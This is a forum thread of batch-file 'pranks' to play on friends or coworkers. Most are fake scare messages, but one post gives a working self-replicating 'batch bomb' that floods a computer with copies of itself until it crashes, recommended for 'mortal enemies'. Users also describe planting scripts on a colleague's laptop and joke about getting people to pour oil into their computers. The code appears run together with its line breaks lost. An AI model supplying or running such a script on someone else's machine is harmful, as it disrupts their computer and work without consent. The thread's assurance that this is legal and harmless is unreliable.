Batch Pranks

[Jack.EXE]

Welcome to my Prank thread!

 

So, you want to screw with your friend? Or maybe you just want to get back at an annoying coworker? Then these simple batch files are for you!

 

The first prank we have is what I like to call the NSA scare.

@[member=Echo] offcolortitle Uploading browsing history to NSA servers!set qz=0cls:aif %qz%==99999 goto bset /a qz= %qz%+1echo %RANDOM% %RANDOM% %RANDOM% %RANDOM% %RANDOM% %RANDOM%goto a:becho Upload complete!pause

It's obvious why this would scare someone, especially someone who only uses their computer to enjoy the more... morally grey... part of the web.

 

This next prank, however, is not so harmless. This is known as a batch bomb, which is a self replicating, self calling batch file that spams them with the message "LOL"

@[member=Echo] off:aset file=%RANDOM%type "%~nx0" > "%file%.bat"start %file%.batecho LOLgoto a

there is no stopping this program, save for a shut down or crash. Use only for mortal enemies.

 

CAUTION: this file eats ram fast. Insert a pause command in the loop if you wish to test it yourself.

 

I have more prank code, but I am out of time for now. come back for more later!

If you have comments, or your own ideas, post them below!

[Tmt97]

Umm... is this legal?

[xNeon]

HAH

Thank you sir

[vK 3 1 RON]

Umm... is this legal?

 

Hehehe, no.

[minibois]

Friend was bored at internship so he made this:

x=msgbox("PC has crashed. Want to delete system32?", 0+16, "Error 37")

But this line was repated like 100 times in the script, meaning you press OK, nothing happens and another textbox with the same thing appears.

It's not harmful at all, but we put it on another colleague's laptop and he freaked out (You can easily stop the script via task manager though)

[Fetzie]

The first prank we have is what I like to call the NSA scare.

I think this would be scarier for some people:

title Sending browsing history to your wife!echo www.naughtysite.comsleep 2echo www.evenworsethanthat.comsleep 2echo www.ashleymadison.comsleep 2echo done pause

[Tmt97]

Hehehe, no.

If this isnt legal does this violate the CoC?

[Jack.EXE]

Hehehe, no.

it is actually legal, yes.

 

It does not damage the computer

[Tmt97]

it is actually legal, yes.

In that case, what would be really funny is if someone wrote one of these to say "Error, computer needs oil change. Please pour in through the vents" Just to see how many people would do it.

 

edit: I'd feel bad for all the people paid to repair it though.

[suchamoneypit]

can confirm the batch bomb. I also had an entire desktop full of batch files.

 

10/10. would try again.